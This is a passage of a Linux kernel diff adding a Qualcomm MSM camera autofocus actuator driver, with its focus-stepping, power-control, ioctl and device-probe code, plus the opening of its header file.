ringing_params_kernel.hw_params, 0); + + reg_setting.reg_setting = a_ctrl->i2c_reg_tbl; + reg_setting.data_type = a_ctrl->i2c_data_type; + reg_setting.size = a_ctrl->i2c_tbl_index; + rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_write_table_w_microdelay( + &a_ctrl->i2c_client, ®_setting); + if (rc < 0) { + pr_err("i2c write error:%d\n", rc); + return rc; + } + a_ctrl->i2c_tbl_index = 0; + a_ctrl->curr_step_pos = dest_step_position; + CDBG("Exit\n"); + return rc; +} + +static int32_t msm_actuator_move_focus( + struct msm_actuator_ctrl_t *a_ctrl, + struct msm_actuator_move_params_t *move_params) +{ + int32_t rc = 0; + struct damping_params_t ringing_params_kernel; + int8_t sign_dir = move_params->sign_dir; + uint16_t step_boundary = 0; + uint16_t target_step_pos = 0; + uint16_t target_lens_pos = 0; + int16_t dest_step_pos = move_params->dest_step_pos; + uint16_t curr_lens_pos = 0; + int dir = move_params->dir; + int32_t num_steps = move_params->num_steps; + struct msm_camera_i2c_reg_setting reg_setting; + + if (a_ctrl->step_position_table == NULL) { + pr_err("Step Position Table is NULL"); + return -EFAULT; + } + + if (copy_from_user(&ringing_params_kernel, + &(move_params->ringing_params[a_ctrl->curr_region_index]), + sizeof(struct damping_params_t))) { + pr_err("copy_from_user failed\n"); + return -EFAULT; + } + + + CDBG("called, dir %d, num_steps %d\n", dir, num_steps); + + if (dest_step_pos == a_ctrl->curr_step_pos) + return rc; + + if ((sign_dir > MSM_ACTUATOR_MOVE_SIGNED_NEAR) || + (sign_dir < MSM_ACTUATOR_MOVE_SIGNED_FAR)) { + pr_err("Invalid sign_dir = %d\n", sign_dir); + return -EFAULT; + } + if ((dir > MOVE_FAR) || (dir < MOVE_NEAR)) { + pr_err("Invalid direction = %d\n", dir); + return -EFAULT; + } + if (dest_step_pos > a_ctrl->total_steps) { + pr_err("Step pos greater than total steps = %d\n", + dest_step_pos); + return -EFAULT; + } + curr_lens_pos = a_ctrl->step_position_table[a_ctrl->curr_step_pos]; + a_ctrl->i2c_tbl_index = 0; + CDBG("curr_step_pos =%d dest_step_pos =%d curr_lens_pos=%d\n", + a_ctrl->curr_step_pos, dest_step_pos, curr_lens_pos); + + while (a_ctrl->curr_step_pos != dest_step_pos) { + step_boundary = + a_ctrl->region_params[a_ctrl->curr_region_index]. + step_bound[dir]; + if ((dest_step_pos * sign_dir) <= + (step_boundary * sign_dir)) { + + target_step_pos = dest_step_pos; + target_lens_pos = + a_ctrl->step_position_table[target_step_pos]; + a_ctrl->func_tbl->actuator_write_focus(a_ctrl, + curr_lens_pos, + &ringing_params_kernel, + sign_dir, + target_lens_pos); + curr_lens_pos = target_lens_pos; + + } else { + target_step_pos = step_boundary; + target_lens_pos = + a_ctrl->step_position_table[target_step_pos]; + a_ctrl->func_tbl->actuator_write_focus(a_ctrl, + curr_lens_pos, + &ringing_params_kernel, + sign_dir, + target_lens_pos); + curr_lens_pos = target_lens_pos; + + a_ctrl->curr_region_index += sign_dir; + } + a_ctrl->curr_step_pos = target_step_pos; + } + + move_params->curr_lens_pos = curr_lens_pos; + reg_setting.reg_setting = a_ctrl->i2c_reg_tbl; + reg_setting.data_type = a_ctrl->i2c_data_type; + reg_setting.size = a_ctrl->i2c_tbl_index; + rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_write_table_w_microdelay( + &a_ctrl->i2c_client, ®_setting); + if (rc < 0) { + pr_err("i2c write error:%d\n", rc); + return rc; + } + a_ctrl->i2c_tbl_index = 0; + CDBG("Exit\n"); + + return rc; +} + +static int32_t msm_actuator_init_step_table(struct msm_actuator_ctrl_t *a_ctrl, + struct msm_actuator_set_info_t *set_info) +{ + int16_t code_per_step = 0; + int16_t cur_code = 0; + int16_t step_index = 0, region_index = 0; + uint16_t step_boundary = 0; + uint32_t max_code_size = 1; + uint16_t data_size = set_info->actuator_params.data_size; + CDBG("Enter\n"); + + for (; data_size > 0; data_size--) + max_code_size *= 2; + + if ((a_ctrl->actuator_state == ACTUATOR_POWER_UP) && + (a_ctrl->step_position_table != NULL)) { + kfree(a_ctrl->step_position_table); + } + a_ctrl->step_position_table = NULL; + + if (set_info->af_tuning_params.total_steps + > MAX_ACTUATOR_AF_TOTAL_STEPS) { + pr_err("Max actuator totalsteps exceeded = %d\n", + set_info->af_tuning_params.total_steps); + return -EFAULT; + } + /* Fill step position table */ + a_ctrl->step_position_table = + kzalloc(sizeof(uint16_t) * + (set_info->af_tuning_params.total_steps + 1), GFP_KERNEL); + + if (a_ctrl->step_position_table == NULL) + return -ENOMEM; + + cur_code = set_info->af_tuning_params.initial_code; + a_ctrl->step_position_table[step_index++] = cur_code; + for (region_index = 0; + region_index < a_ctrl->region_size; + region_index++) { + code_per_step = + a_ctrl->region_params[region_index].code_per_step; + step_boundary = + a_ctrl->region_params[region_index]. + step_bound[MOVE_NEAR]; + for (; step_index <= step_boundary; + step_index++) { + cur_code += code_per_step; + if (cur_code < max_code_size) + a_ctrl->step_position_table[step_index] = + cur_code; + else { + for (; step_index < + set_info->af_tuning_params.total_steps; + step_index++) + a_ctrl-> + step_position_table[ + step_index] = + max_code_size; + } + } + } + CDBG("Exit\n"); + return 0; +} + +static int32_t msm_actuator_set_default_focus( + struct msm_actuator_ctrl_t *a_ctrl, + struct msm_actuator_move_params_t *move_params) +{ + int32_t rc = 0; + CDBG("Enter\n"); + + if (a_ctrl->curr_step_pos != 0) + rc = a_ctrl->func_tbl->actuator_move_focus(a_ctrl, move_params); + CDBG("Exit\n"); + return rc; +} + +static int32_t msm_actuator_vreg_control(struct msm_actuator_ctrl_t *a_ctrl, + int config) +{ + int rc = 0, i, cnt; + struct msm_actuator_vreg *vreg_cfg; + + vreg_cfg = &a_ctrl->vreg_cfg; + cnt = vreg_cfg->num_vreg; + if (!cnt) + return 0; + + if (cnt >= MSM_ACTUATOT_MAX_VREGS) { + pr_err("%s failed %d cnt %d\n", __func__, __LINE__, cnt); + return -EINVAL; + } + + for (i = 0; i < cnt; i++) { + rc = msm_camera_config_single_vreg(&(a_ctrl->pdev->dev), + &vreg_cfg->cam_vreg[i], + (struct regulator **)&vreg_cfg->data[i], + config); + } + return rc; +} + +static int32_t msm_actuator_power_down(struct msm_actuator_ctrl_t *a_ctrl) +{ + int32_t rc = 0; + CDBG("Enter\n"); + if (a_ctrl->actuator_state != ACTUATOR_POWER_DOWN) { + if (a_ctrl->vcm_enable) { + rc = gpio_direction_output(a_ctrl->vcm_pwd, 0); + if (!rc) + gpio_free(a_ctrl->vcm_pwd); + } + + rc = msm_actuator_vreg_control(a_ctrl, 0); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + + if (a_ctrl->step_position_table != NULL) + kfree(a_ctrl->step_position_table); + a_ctrl->step_position_table = NULL; + if (a_ctrl->i2c_reg_tbl != NULL) + kfree(a_ctrl->i2c_reg_tbl); + a_ctrl->i2c_reg_tbl = NULL; + a_ctrl->i2c_tbl_index = 0; + a_ctrl->actuator_state = ACTUATOR_POWER_DOWN; + } + CDBG("Exit\n"); + return rc; +} + +static int32_t msm_actuator_set_position( + struct msm_actuator_ctrl_t *a_ctrl, + struct msm_actuator_set_position_t *set_pos) +{ + int32_t rc = 0; + int32_t index; + uint16_t next_lens_position; + uint16_t delay; + uint32_t hw_params = 0; + struct msm_camera_i2c_reg_setting reg_setting; + CDBG("%s Enter %d\n", __func__, __LINE__); + if (set_pos->number_of_steps == 0) + return rc; + + a_ctrl->i2c_tbl_index = 0; + for (index = 0; index < set_pos->number_of_steps; index++) { + next_lens_position = set_pos->pos[index]; + delay = set_pos->delay[index]; + a_ctrl->func_tbl->actuator_parse_i2c_params(a_ctrl, + next_lens_position, hw_params, delay); + + reg_setting.reg_setting = a_ctrl->i2c_reg_tbl; + reg_setting.size = a_ctrl->i2c_tbl_index; + reg_setting.data_type = a_ctrl->i2c_data_type; + + rc = a_ctrl->i2c_client.i2c_func_tbl-> + i2c_write_table_w_microdelay( + &a_ctrl->i2c_client, ®_setting); + if (rc < 0) { + pr_err("%s Failed I2C write Line %d\n", + __func__, __LINE__); + return rc; + } + a_ctrl->i2c_tbl_index = 0; + } + CDBG("%s exit %d\n", __func__, __LINE__); + return rc; +} + +static int32_t msm_actuator_set_param(struct msm_actuator_ctrl_t *a_ctrl, + struct msm_actuator_set_info_t *set_info) { + struct reg_settings_t *init_settings = NULL; + int32_t rc = -EFAULT; + uint16_t i = 0; + struct msm_camera_cci_client *cci_client = NULL; + CDBG("Enter\n"); + + for (i = 0; i < ARRAY_SIZE(actuators); i++) { + if (set_info->actuator_params.act_type == + actuators[i]->act_type) { + a_ctrl->func_tbl = &actuators[i]->func_tbl; + rc = 0; + } + } + + if (rc < 0) { + pr_err("Actuator function table not found\n"); + return rc; + } + if (set_info->af_tuning_params.total_steps + > MAX_ACTUATOR_AF_TOTAL_STEPS) { + pr_err("Max actuator totalsteps exceeded = %d\n", + set_info->af_tuning_params.total_steps); + return -EFAULT; + } + if (set_info->af_tuning_params.region_size + > MAX_ACTUATOR_REGION) { + pr_err("MAX_ACTUATOR_REGION is exceeded.\n"); + return -EFAULT; + } + + a_ctrl->region_size = set_info->af_tuning_params.region_size; + a_ctrl->pwd_step = set_info->af_tuning_params.pwd_step; + a_ctrl->total_steps = set_info->af_tuning_params.total_steps; + + if (copy_from_user(&a_ctrl->region_params, + (void *)set_info->af_tuning_params.region_params, + a_ctrl->region_size * sizeof(struct region_params_t))) + return -EFAULT; + + if (a_ctrl->act_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + cci_client = a_ctrl->i2c_client.cci_client; + cci_client->sid = + set_info->actuator_params.i2c_addr >> 1; + cci_client->retries = 3; + cci_client->id_map = 0; + cci_client->cci_i2c_master = a_ctrl->cci_master; + } else { + a_ctrl->i2c_client.client->addr = + set_info->actuator_params.i2c_addr; + } + + a_ctrl->i2c_data_type = set_info->actuator_params.i2c_data_type; + a_ctrl->i2c_client.addr_type = set_info->actuator_params.i2c_addr_type; + if (set_info->actuator_params.reg_tbl_size <= + MAX_ACTUATOR_REG_TBL_SIZE) { + a_ctrl->reg_tbl_size = set_info->actuator_params.reg_tbl_size; + } else { + a_ctrl->reg_tbl_size = 0; + pr_err("MAX_ACTUATOR_REG_TBL_SIZE is exceeded.\n"); + return -EFAULT; + } + + if ((a_ctrl->actuator_state == ACTUATOR_POWER_UP) && + (a_ctrl->i2c_reg_tbl != NULL)) { + kfree(a_ctrl->i2c_reg_tbl); + } + a_ctrl->i2c_reg_tbl = NULL; + a_ctrl->i2c_reg_tbl = + kzalloc(sizeof(struct msm_camera_i2c_reg_array) * + (set_info->af_tuning_params.total_steps + 1), GFP_KERNEL); + if (!a_ctrl->i2c_reg_tbl) { + pr_err("kzalloc fail\n"); + return -ENOMEM; + } + + if (copy_from_user(&a_ctrl->reg_tbl, + (void *)set_info->actuator_params.reg_tbl_params, + a_ctrl->reg_tbl_size * + sizeof(struct msm_actuator_reg_params_t))) { + kfree(a_ctrl->i2c_reg_tbl); + a_ctrl->i2c_reg_tbl = NULL; + return -EFAULT; + } + + if (set_info->actuator_params.init_setting_size && + set_info->actuator_params.init_setting_size + <= MAX_ACTUATOR_REG_TBL_SIZE) { + if (a_ctrl->func_tbl->actuator_init_focus) { + init_settings = kzalloc(sizeof(struct reg_settings_t) * + (set_info->actuator_params.init_setting_size), + GFP_KERNEL); + if (init_settings == NULL) { + kfree(a_ctrl->i2c_reg_tbl); + a_ctrl->i2c_reg_tbl = NULL; + pr_err("Error allocating memory for init_settings\n"); + return -EFAULT; + } + if (copy_from_user(init_settings, + (void *)set_info->actuator_params.init_settings, + set_info->actuator_params.init_setting_size * + sizeof(struct reg_settings_t))) { + kfree(init_settings); + kfree(a_ctrl->i2c_reg_tbl); + a_ctrl->i2c_reg_tbl = NULL; + pr_err("Error copying init_settings\n"); + return -EFAULT; + } + rc = a_ctrl->func_tbl->actuator_init_focus(a_ctrl, + set_info->actuator_params.init_setting_size, + init_settings); + kfree(init_settings); + init_settings = NULL; + if (rc < 0) { + kfree(a_ctrl->i2c_reg_tbl); + a_ctrl->i2c_reg_tbl = NULL; + pr_err("Error actuator_init_focus\n"); + return -EFAULT; + } + } + } + + a_ctrl->initial_code = set_info->af_tuning_params.initial_code; + if (a_ctrl->func_tbl->actuator_init_step_table) + rc = a_ctrl->func_tbl-> + actuator_init_step_table(a_ctrl, set_info); + + a_ctrl->curr_step_pos = 0; + a_ctrl->curr_region_index = 0; + a_ctrl->actuator_state = ACTUATOR_POWER_UP; + CDBG("Exit\n"); + + return rc; +} + +static int msm_actuator_init(struct msm_actuator_ctrl_t *a_ctrl) +{ + int rc = 0; + CDBG("Enter\n"); + if (!a_ctrl) { + pr_err("failed\n"); + return -EINVAL; + } + if (a_ctrl->act_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_util( + &a_ctrl->i2c_client, MSM_CCI_INIT); + if (rc < 0) + pr_err("cci_init failed\n"); + } + CDBG("Exit\n"); + return rc; +} + +static int32_t msm_actuator_config(struct msm_actuator_ctrl_t *a_ctrl, + void __user *argp) +{ + struct msm_actuator_cfg_data *cdata = + (struct msm_actuator_cfg_data *)argp; + int32_t rc = 0; + mutex_lock(a_ctrl->actuator_mutex); + CDBG("Enter\n"); + CDBG("%s type %d\n", __func__, cdata->cfgtype); + switch (cdata->cfgtype) { + case CFG_ACTUATOR_INIT: + rc = msm_actuator_init(a_ctrl); + if (rc < 0) + pr_err("msm_actuator_init failed %d\n", rc); + break; + case CFG_GET_ACTUATOR_INFO: + cdata->is_af_supported = 1; + cdata->cfg.cam_name = a_ctrl->cam_name; + break; + + case CFG_SET_ACTUATOR_INFO: + rc = msm_actuator_set_param(a_ctrl, &cdata->cfg.set_info); + if (rc < 0) + pr_err("init table failed %d\n", rc); + break; + + case CFG_SET_DEFAULT_FOCUS: + rc = a_ctrl->func_tbl->actuator_set_default_focus(a_ctrl, + &cdata->cfg.move); + if (rc < 0) + pr_err("move focus failed %d\n", rc); + break; + + case CFG_MOVE_FOCUS: + rc = a_ctrl->func_tbl->actuator_move_focus(a_ctrl, + &cdata->cfg.move); + if (rc < 0) + pr_err("move focus failed %d\n", rc); + break; + case CFG_ACTUATOR_POWERDOWN: + rc = msm_actuator_power_down(a_ctrl); + if (rc < 0) + pr_err("msm_actuator_power_down failed %d\n", rc); + break; + + case CFG_SET_POSITION: + rc = a_ctrl->func_tbl->actuator_set_position(a_ctrl, + &cdata->cfg.setpos); + if (rc < 0) + pr_err("actuator_set_position failed %d\n", rc); + break; + + case CFG_ACTUATOR_POWERUP: + rc = msm_actuator_power_up(a_ctrl); + if (rc < 0) + pr_err("Failed actuator power up%d\n", rc); + break; + + default: + break; + } + mutex_unlock(a_ctrl->actuator_mutex); + CDBG("Exit\n"); + return rc; +} + +static int32_t msm_actuator_get_subdev_id(struct msm_actuator_ctrl_t *a_ctrl, + void *arg) +{ + uint32_t *subdev_id = (uint32_t *)arg; + CDBG("Enter\n"); + if (!subdev_id) { + pr_err("failed\n"); + return -EINVAL; + } + if (a_ctrl->act_device_type == MSM_CAMERA_PLATFORM_DEVICE) + *subdev_id = a_ctrl->pdev->id; + else + *subdev_id = a_ctrl->subdev_id; + + CDBG("subdev_id %d\n", *subdev_id); + CDBG("Exit\n"); + return 0; +} + +static struct msm_camera_i2c_fn_t msm_sensor_cci_func_tbl = { + .i2c_read = msm_camera_cci_i2c_read, + .i2c_read_seq = msm_camera_cci_i2c_read_seq, + .i2c_write = msm_camera_cci_i2c_write, + .i2c_write_table = msm_camera_cci_i2c_write_table, + .i2c_write_seq_table = msm_camera_cci_i2c_write_seq_table, + .i2c_write_table_w_microdelay = + msm_camera_cci_i2c_write_table_w_microdelay, + .i2c_util = msm_sensor_cci_i2c_util, + .i2c_poll = msm_camera_cci_i2c_poll, +}; + +static struct msm_camera_i2c_fn_t msm_sensor_qup_func_tbl = { + .i2c_read = msm_camera_qup_i2c_read, + .i2c_read_seq = msm_camera_qup_i2c_read_seq, + .i2c_write = msm_camera_qup_i2c_write, + .i2c_write_table = msm_camera_qup_i2c_write_table, + .i2c_write_seq_table = msm_camera_qup_i2c_write_seq_table, + .i2c_write_table_w_microdelay = + msm_camera_qup_i2c_write_table_w_microdelay, + .i2c_poll = msm_camera_qup_i2c_poll, +}; + +static int msm_actuator_close(struct v4l2_subdev *sd, + struct v4l2_subdev_fh *fh) { + int rc = 0; + struct msm_actuator_ctrl_t *a_ctrl = v4l2_get_subdevdata(sd); + CDBG("Enter\n"); + if (!a_ctrl) { + pr_err("failed\n"); + return -EINVAL; + } + if (a_ctrl->act_device_type == MSM_CAMERA_PLATFORM_DEVICE) { + rc = a_ctrl->i2c_client.i2c_func_tbl->i2c_util( + &a_ctrl->i2c_client, MSM_CCI_RELEASE); + if (rc < 0) + pr_err("cci_init failed\n"); + } + kfree(a_ctrl->i2c_reg_tbl); + a_ctrl->i2c_reg_tbl = NULL; + + CDBG("Exit\n"); + return rc; +} + +static const struct v4l2_subdev_internal_ops msm_actuator_internal_ops = { + .close = msm_actuator_close, +}; + +static long msm_actuator_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + struct msm_actuator_ctrl_t *a_ctrl = v4l2_get_subdevdata(sd); + void __user *argp = (void __user *)arg; + CDBG("Enter\n"); + CDBG("%s:%d a_ctrl %p argp %p\n", __func__, __LINE__, a_ctrl, argp); + switch (cmd) { + case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: + return msm_actuator_get_subdev_id(a_ctrl, argp); + case VIDIOC_MSM_ACTUATOR_CFG: + return msm_actuator_config(a_ctrl, argp); + case MSM_SD_SHUTDOWN: + msm_actuator_close(sd, NULL); + return 0; + default: + return -ENOIOCTLCMD; + } +} + +static int32_t msm_actuator_power_up(struct msm_actuator_ctrl_t *a_ctrl) +{ + int rc = 0; + CDBG("%s called\n", __func__); + + CDBG("vcm info: %d %d\n", a_ctrl->vcm_pwd, + a_ctrl->vcm_enable); + + rc = msm_actuator_vreg_control(a_ctrl, 1); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + return rc; + } + + if (a_ctrl->vcm_enable) { + rc = gpio_request(a_ctrl->vcm_pwd, "msm_actuator"); + if (!rc) { + CDBG("Enable VCM PWD\n"); + gpio_direction_output(a_ctrl->vcm_pwd, 1); + } + } + CDBG("Exit\n"); + return rc; +} + +static int32_t msm_actuator_power(struct v4l2_subdev *sd, int on) +{ + int rc = 0; + struct msm_actuator_ctrl_t *a_ctrl = v4l2_get_subdevdata(sd); + CDBG("Enter\n"); + mutex_lock(a_ctrl->actuator_mutex); + if (on) + rc = msm_actuator_power_up(a_ctrl); + else + rc = msm_actuator_power_down(a_ctrl); + mutex_unlock(a_ctrl->actuator_mutex); + CDBG("Exit\n"); + return rc; +} + +static struct v4l2_subdev_core_ops msm_actuator_subdev_core_ops = { + .ioctl = msm_actuator_subdev_ioctl, + .s_power = msm_actuator_power, +}; + +static struct v4l2_subdev_ops msm_actuator_subdev_ops = { + .core = &msm_actuator_subdev_core_ops, +}; + +static const struct i2c_device_id msm_actuator_i2c_id[] = { + {"qcom,actuator", (kernel_ulong_t)NULL}, + { } +}; + +static int32_t msm_actuator_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + int rc = 0; + struct msm_actuator_ctrl_t *act_ctrl_t = NULL; + CDBG("Enter\n"); + + if (client == NULL) { + pr_err("msm_actuator_i2c_probe: client is null\n"); + rc = -EINVAL; + goto probe_failure; + } + + act_ctrl_t = kzalloc(sizeof(struct msm_actuator_ctrl_t), + GFP_KERNEL); + if (!act_ctrl_t) { + pr_err("%s:%d failed no memory\n", __func__, __LINE__); + return -ENOMEM; + } + + if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { + pr_err("i2c_check_functionality failed\n"); + goto probe_failure; + } + + CDBG("client = 0x%p\n", client); + + rc = of_property_read_u32(client->dev.of_node, "cell-index", + &act_ctrl_t->subdev_id); + CDBG("cell-index %d, rc %d\n", act_ctrl_t->subdev_id, rc); + if (rc < 0) { + pr_err("failed rc %d\n", rc); + return rc; + } + + act_ctrl_t->i2c_driver = &msm_actuator_i2c_driver; + act_ctrl_t->i2c_client.client = client; + act_ctrl_t->curr_step_pos = 0, + act_ctrl_t->curr_region_index = 0, + /* Set device type as I2C */ + act_ctrl_t->act_device_type = MSM_CAMERA_I2C_DEVICE; + act_ctrl_t->i2c_client.i2c_func_tbl = &msm_sensor_qup_func_tbl; + act_ctrl_t->act_v4l2_subdev_ops = &msm_actuator_subdev_ops; + act_ctrl_t->actuator_mutex = &msm_actuator_mutex; + + act_ctrl_t->cam_name = act_ctrl_t->subdev_id; + CDBG("act_ctrl_t->cam_name: %d", act_ctrl_t->cam_name); + /* Assign name for sub device */ + snprintf(act_ctrl_t->msm_sd.sd.name, sizeof(act_ctrl_t->msm_sd.sd.name), + "%s", act_ctrl_t->i2c_driver->driver.name); + + /* Initialize sub device */ + v4l2_i2c_subdev_init(&act_ctrl_t->msm_sd.sd, + act_ctrl_t->i2c_client.client, + act_ctrl_t->act_v4l2_subdev_ops); + v4l2_set_subdevdata(&act_ctrl_t->msm_sd.sd, act_ctrl_t); + act_ctrl_t->msm_sd.sd.internal_ops = &msm_actuator_internal_ops; + act_ctrl_t->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + media_entity_init(&act_ctrl_t->msm_sd.sd.entity, 0, NULL, 0); + act_ctrl_t->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + act_ctrl_t->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_ACTUATOR; + act_ctrl_t->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x2; + msm_sd_register(&act_ctrl_t->msm_sd); + act_ctrl_t->actuator_state = ACTUATOR_POWER_DOWN; + pr_info("msm_actuator_i2c_probe: succeeded\n"); + CDBG("Exit\n"); + +probe_failure: + return rc; +} + +static int32_t msm_actuator_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + struct msm_camera_cci_client *cci_client = NULL; + struct msm_actuator_ctrl_t *msm_actuator_t = NULL; + struct msm_actuator_vreg *vreg_cfg; + CDBG("Enter\n"); + + if (!pdev->dev.of_node) { + pr_err("of_node NULL\n"); + return -EINVAL; + } + + msm_actuator_t = kzalloc(sizeof(struct msm_actuator_ctrl_t), + GFP_KERNEL); + if (!msm_actuator_t) { + pr_err("%s:%d failed no memory\n", __func__, __LINE__); + return -ENOMEM; + } + rc = of_property_read_u32((&pdev->dev)->of_node, "cell-index", + &pdev->id); + CDBG("cell-index %d, rc %d\n", pdev->id, rc); + if (rc < 0) { + kfree(msm_actuator_t); + pr_err("failed rc %d\n", rc); + return rc; + } + + rc = of_property_read_u32((&pdev->dev)->of_node, "qcom,cci-master", + &msm_actuator_t->cci_master); + CDBG("qcom,cci-master %d, rc %d\n", msm_actuator_t->cci_master, rc); + if (rc < 0) { + kfree(msm_actuator_t); + pr_err("failed rc %d\n", rc); + return rc; + } + + if (of_find_property((&pdev->dev)->of_node, + "qcom,cam-vreg-name", NULL)) { + vreg_cfg = &msm_actuator_t->vreg_cfg; + rc = msm_camera_get_dt_vreg_data((&pdev->dev)->of_node, + &vreg_cfg->cam_vreg, &vreg_cfg->num_vreg); + if (rc < 0) { + kfree(msm_actuator_t); + pr_err("failed rc %d\n", rc); + return rc; + } + } + + msm_actuator_t->act_v4l2_subdev_ops = &msm_actuator_subdev_ops; + msm_actuator_t->actuator_mutex = &msm_actuator_mutex; + msm_actuator_t->cam_name = pdev->id; + + /* Set platform device handle */ + msm_actuator_t->pdev = pdev; + /* Set device type as platform device */ + msm_actuator_t->act_device_type = MSM_CAMERA_PLATFORM_DEVICE; + msm_actuator_t->i2c_client.i2c_func_tbl = &msm_sensor_cci_func_tbl; + msm_actuator_t->i2c_client.cci_client = kzalloc(sizeof( + struct msm_camera_cci_client), GFP_KERNEL); + if (!msm_actuator_t->i2c_client.cci_client) { + kfree(msm_actuator_t->vreg_cfg.cam_vreg); + kfree(msm_actuator_t); + pr_err("failed no memory\n"); + return -ENOMEM; + } + + cci_client = msm_actuator_t->i2c_client.cci_client; + cci_client->cci_subdev = msm_cci_get_subdev(); + cci_client->cci_i2c_master = MASTER_MAX; + v4l2_subdev_init(&msm_actuator_t->msm_sd.sd, + msm_actuator_t->act_v4l2_subdev_ops); + v4l2_set_subdevdata(&msm_actuator_t->msm_sd.sd, msm_actuator_t); + msm_actuator_t->msm_sd.sd.internal_ops = &msm_actuator_internal_ops; + msm_actuator_t->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + snprintf(msm_actuator_t->msm_sd.sd.name, + ARRAY_SIZE(msm_actuator_t->msm_sd.sd.name), "msm_actuator"); + media_entity_init(&msm_actuator_t->msm_sd.sd.entity, 0, NULL, 0); + msm_actuator_t->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + msm_actuator_t->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_ACTUATOR; + msm_actuator_t->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x2; + msm_sd_register(&msm_actuator_t->msm_sd); + msm_actuator_t->actuator_state = ACTUATOR_POWER_DOWN; + CDBG("Exit\n"); + return rc; +} + +static const struct of_device_id msm_actuator_i2c_dt_match[] = { + {.compatible = "qcom,actuator"}, + {} +}; + +MODULE_DEVICE_TABLE(of, msm_actuator_i2c_dt_match); + +static struct i2c_driver msm_actuator_i2c_driver = { + .id_table = msm_actuator_i2c_id, + .probe = msm_actuator_i2c_probe, + .remove = __exit_p(msm_actuator_i2c_remove), + .driver = { + .name = "qcom,actuator", + .owner = THIS_MODULE, + .of_match_table = msm_actuator_i2c_dt_match, + }, +}; + +static const struct of_device_id msm_actuator_dt_match[] = { + {.compatible = "qcom,actuator", .data = NULL}, + {} +}; + +MODULE_DEVICE_TABLE(of, msm_actuator_dt_match); + +static struct platform_driver msm_actuator_platform_driver = { + .driver = { + .name = "qcom,actuator", + .owner = THIS_MODULE, + .of_match_table = msm_actuator_dt_match, + }, +}; + +static int __init msm_actuator_init_module(void) +{ + int32_t rc = 0; + CDBG("Enter\n"); + rc = platform_driver_probe(&msm_actuator_platform_driver, + msm_actuator_platform_probe); + if (!rc) + return rc; + CDBG("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&msm_actuator_i2c_driver); +} + +static struct msm_actuator msm_vcm_actuator_table = { + .act_type = ACTUATOR_VCM, + .func_tbl = { + .actuator_init_step_table = msm_actuator_init_step_table, + .actuator_move_focus = msm_actuator_move_focus, + .actuator_write_focus = msm_actuator_write_focus, + .actuator_set_default_focus = msm_actuator_set_default_focus, + .actuator_init_focus = msm_actuator_init_focus, + .actuator_parse_i2c_params = msm_actuator_parse_i2c_params, + .actuator_set_position = msm_actuator_set_position, + }, +}; + +static struct msm_actuator msm_piezo_actuator_table = { + .act_type = ACTUATOR_PIEZO, + .func_tbl = { + .actuator_init_step_table = NULL, + .actuator_move_focus = msm_actuator_piezo_move_focus, + .actuator_write_focus = NULL, + .actuator_set_default_focus = + msm_actuator_piezo_set_default_focus, + .actuator_init_focus = msm_actuator_init_focus, + .actuator_parse_i2c_params = msm_actuator_parse_i2c_params, + }, +}; + +module_init(msm_actuator_init_module); +MODULE_DESCRIPTION("MSM ACTUATOR"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.h new file mode 100644 index 0000000000000..e00380b62bab7 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.h @@ -0,0 +1,106 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#ifndef MSM_ACTUATOR_H +#define MSM_ACTUATOR_H + +#include +#include +#include +#include +#include +#include "msm_camera_i2c.h" +#include "msm_camera_dt_util.h" +#include "msm_camera_io_util.h" + + +#define DEFINE_MSM_MUTEX(mutexname) \ + static struct mutex mutexname = __MUTEX_INITIALIZER(mutexname) + +#define MSM_ACTUATOT_MAX_VREGS (10) + +struct msm_actuator_ctrl_t; + +enum msm_actuator_state_t { + ACTUATOR_POWER_DOWN, + ACTUATOR_POWER_UP, +}; + +struct msm_actuator_func_tbl { + int32_t (*actuator_i2c_write_b_af)(struct msm_actuator_ctrl_t *, + uint8_t, + uint8_t); + int32_t (*actuator_init_step_table)(struct msm_actuator_ctrl_t *, + struct msm_actuator_set_info_t *); + int32_t (*actuator_init_focus)(struct msm_actuator_ctrl_t *, + uint16_t, struct reg_settings_t *); + int32_t (*actuator_set_default_focus) (struct msm_actuator_ctrl_t *, + struct msm_actuator_move_params_t *); + int32_t (*actuator_move_focus) (struct msm_actuator_ctrl_t *, + struct msm_actuator_move_params_t *); + void (*actuator_parse_i2c_params)(struct msm_actuator_ctrl_t *, + int16_t, uint32_t, uint16_t); + void (*actuator_write_focus)(struct msm_actuator_ctrl_t *, + uint16_t, + struct damping_params_t *, + int8_t, + int16_t); + int32_t (*actuator_set_position)(struct msm_actuator_ctrl_t *, + struct msm_actuator_set_position_t *); +}; + +struct msm_actuator { + enum actuator_type act_type; + struct 